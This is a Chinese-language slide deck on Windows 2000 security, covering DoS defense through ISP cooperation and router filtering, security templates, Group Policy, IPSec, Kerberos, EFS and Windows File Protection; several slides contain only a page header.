联系你的 Internet 服务供应商 (ISP) ,询问他们能够为防止你的连接受到 DoS 攻击而提供何种措施 ( 如果有 )。几乎所有的 Internet连接都要经过ISP ,不管你的 DoS防御策略是多么牢固,如果 ISP 的连接断开或是饱和,你的措施就没有任何意义

Page 90: Win2k 系统安全 (2)

防御 DoS -联合你的 ISP

在站点受到攻击时,你的 ISP 能够做出什么反应。如果可能的话,将你的 ISP 的网络操作中心 (NOC)的联系信息放在手边

记住,跟踪找到攻击的发起者是很困难的,但如果你的 ISP肯合作并且能够访问你和攻击者之间的路由器,这也是可能实现的

Page 91: Win2k 系统安全 (2)

防御 DoS -配置边界路由器

通过适当的配置路由器,可以相当有效地减轻 DoS 攻击的危害

强烈推荐读者参考“ Cisco 对分布式拒绝服务攻击 (DDoS)的策略” 。该文章讨论了 Cisco IOS配置,例如验证单播逆向路径、过滤 RFC 1918 私有地址、应用进出口过滤、速率限制、 ICMP 和 UDP过滤等,对目前的 Internet环境来说,这些是基本的常用配置

http://www.cisco.com/warp/public/707/newsflash.html

Page 92: Win2k 系统安全 (2)

防御 DoS

及时安装补丁 合理配置 TCP/IP参数

Page 93: Win2k 系统安全 (2)

合理配置 TCP/IP参数

Page 94: Win2k 系统安全 (2)

合理配置 TCP/IP参数

Page 95: Win2k 系统安全 (2)

目 录1. IIS5 的安全

2. 终端服务器安全

3. Microsoft Internet 客户端的安全

4. 物理攻击

5. 拒绝服务攻击

6. 安全功能和工具

Page 96: Win2k 系统安全 (2)

安全模板和安全配置分析组策略 IPSec Kerberos加密文件系统 (Encrypted File System , EFS) Runas Windows 文件保护 (Windows File Protection , WFP)

Page 97: Win2k 系统安全 (2)

安全模板、安全配置和分析

安全模板 (Security Template) 、安全配置和分析 (Security Configuration and Analysis) 是在 Windows 2000环境中部署安全体系时所能使用的最能够节省时间的工具,特别是在与组策略联合使用时

安全模板是 Windows 2000 中与安全有关的设置的结构化列表,通过点击鼠标就可以编辑和应用,而无需去寻找和配置本书中已经讨论过的大量分散的安全设置。另外,这些模板文件可以与系统的当前设置进行比较,从而显示出一致和不一致的配置 (即分析功能 )

Page 98: Win2k 系统安全 (2)

安全模板、安全配置和分析

通过打开一个空白的 Microsoft管理控制台 (MMC) ,然后添加安全模板、安全配置和分析管理单元,就可以使用这两项工具

Page 99: Win2k 系统安全 (2)
Page 100: Win2k 系统安全 (2)
Page 101: Win2k 系统安全 (2)

组策略

组策略 (Group Policy) 是 Windows 2000 提供的功能最强大的新工具之一,它的作用已经远远超出了安全设置的范围

组策略是 Windows 2000 的集中化管理配置管理体系。它是由组策略对象 (Group Policy Object , GPO) 实现的,GPO定义了可以被应用于 ( 或链接到 ) 用户和计算机的配置参数。 GPO有两种类型:本地 GPO(LGPO) 和活动目录GPO(ADGPO)

Page 102: Win2k 系统安全 (2)

组策略

LGPO保存在%systemroot%\system32\GroupPolicy 目录中,由以下一些文件组成: gpt.ini ,管理模板 (.adm) ,安全配置文件 (.pol) ,以及登录 /注销和启动 /关机脚本

ADGPO 存储在 %systemroot%\system32\sysvol\<domain> \Policies 目录中,活动目录中的 System | Policy 容器中也保存了指向每个 ADGPO的指针

LGPO只作用于本地计算机。 ADGPO则可以应用于站点 (site) 、域 (domain) 、组织单位 (Organizational Unit , OU) ,而且多个 GPO可以链接到同一个站点、域或 OU

Page 103: Win2k 系统安全 (2)

组策略

与安全相关的 GPO设置集中在 Computer Configuration\Win-dows Settings\Security Settings结点之下

Security Settings( 安全策略 )结点定义了账户策略、审核策略、事件日志、公钥和 IPSec 策略

由于这些参数可以在站点、域、 OU级别上进行设置,大型网络环境中的安全管理工作的负担就可以减轻很多。更好的是,安全模板可以被导入到一个 GPO中。因此,组策略是安全地配置大型Windows 2000域的最佳方法

Page 104: Win2k 系统安全 (2)

将安全模板导入组策略

Page 105: Win2k 系统安全 (2)
Page 106: Win2k 系统安全 (2)

IPSec

IPSec定义了一种用以获取 IP数据报的端到端安全的机制,包括认证、机密性、完整性和防回放服务,而且无需中间设备来理解该协议

Page 107: Win2k 系统安全 (2)

IPSec ?

IPSec过滤功能是操作系统的内建功能,因此不管Windows 2000 被部署在哪里,它都是有效的

有知识的网络安全管理员可以很容易地对过滤器进行修改,而且只需一次简单的鼠标点击或批处理脚本就可以应用 ( 不需要重新启动系统 )

IPSec过滤器优于旧的 TCP/IP 安全功能,因为它不需要重新启动,而且能够真正地阻塞 ICMP 通信 (关于 TCP/IP 安全有一个很少有人知道的事实,那就是即使在界面中已经指定,但 ICMP 并没有真正地被阻塞 )

Page 108: Win2k 系统安全 (2)

Kerberos

Windows 2000提供了旧版本 Windows 使用的传统的 NTLM认证架构的一种替代方案 Kerberos v5, 它是一种非常优秀的标准,在专业和学术安全界都被认为是非常安全的

Kerberos比 LM 和 NTLM 协议要安全很多,因为它不会受到LM窃听攻击的影响。不幸的是,与使用安全策略中的 LM认证级别设置可以强制使用更安全的 NTLM 协议不同,我们没有方法强制使用 Kerberos认证

目前, Kerberos只在可能的情况下使用,否则, Windows 2000 会自动地转换为 NTLM ,于是又会受到 SMB 窃听攻击的影响

Page 109: Win2k 系统安全 (2)

加密文件系统 (EFS)

EFS 是一种基于公钥密码学的系统,它能够透明地对磁盘上的数据进行实时加密,于是攻击者在没有正确的密钥的情况下就不能访问它们

EFS 能够使用一种快速的对称加密算法对文件或文件夹进行加密,密钥是专为该文件或文件夹随机生成的文件加密密钥 (FEK)

EFS 使用扩展数据加密标准 (Extended Data Encryption Standard , DESX) 作为加密算法。随机生成的 FEK本身也使用一个或多个公钥加密,包括用户的公钥 (Windows 2000 中的每个用户都持有一对公钥 /私钥 ) 和密钥恢复代理的公钥。这些加密后的值都作为文件的属性保存起来

Page 110: Win2k 系统安全 (2)

加密文件系统 (EFS)

当加密了敏感数据的用户离开公司,或者他们的加密密钥丢失时,密钥恢复将发挥作用

为了避免已加密的数据不能被还原回来, Windows 2000 为 EFS提供了一个数据恢复代理——没有恢复代理的话, EFS就不会工作。因为 FEK是完全独立于用户的公钥 /私钥对的,因此恢复代理可以在不使用该用户的私钥的情况下对文件的内容进行解密

系统的默认数据恢复代理是本地的 Administrator账户

Page 111: Win2k 系统安全 (2)

加密文件系统 (EFS)

Microsoft将 EFS定位为在 NTFS 被攻破的情况下的另一层保护,例如通过引导到另一个操作系统并使用第三方工具来访问硬盘,或者用于存储在远程服务器上的文件

Microsoft 的 EFS白皮书特别声明“ EFS解决了在其他操作系统中使用工具在没有访问检查的情况下在物理上访问NTFS 卷上的文件的安全考虑”

使 EFS 避免受到物理攻击的惟一方法是将 SYSKEY设置为模式 2 或模式 3

Page 112: Win2k 系统安全 (2)

Windows 文件保护 (WFP)

WFP 的功能是对将要安装的系统文件的来源和版本进行验证

这种验证功能可以避免以 .sys 、 .dll 、 .ocx 、 .ttf 、 .fon 和 .exe 为扩展名的系统文件被覆盖

WFP 在后台运行,能够检测到其他程序试图覆盖或移动受保护的系统文件的企图。WFP还能检查文件的数字签名以确定新的文件是否是正确的版本

Page 113: Win2k 系统安全 (2)

Windows 文件保护 (WFP)

如果该文件不是正确的版本, WFP将使用默认情况下存储在%systemroot%\system32\dllcache 文件夹 (这个文件夹是作为受保护的操作系统文件隐藏起来的 ) 、网络安装位置或 Windows 2000安装光盘中的备份将该文件覆盖

如果WFP 找不到适当的文件,它将提示用户输入文件的位置。WPF还会在事件日志中记录覆盖文件的企图

文件签名检查程序 : sigverif.exe, sfc.exe等可用于检查受 WFP保护的文件的完整性

Page 114: Win2k 系统安全 (2)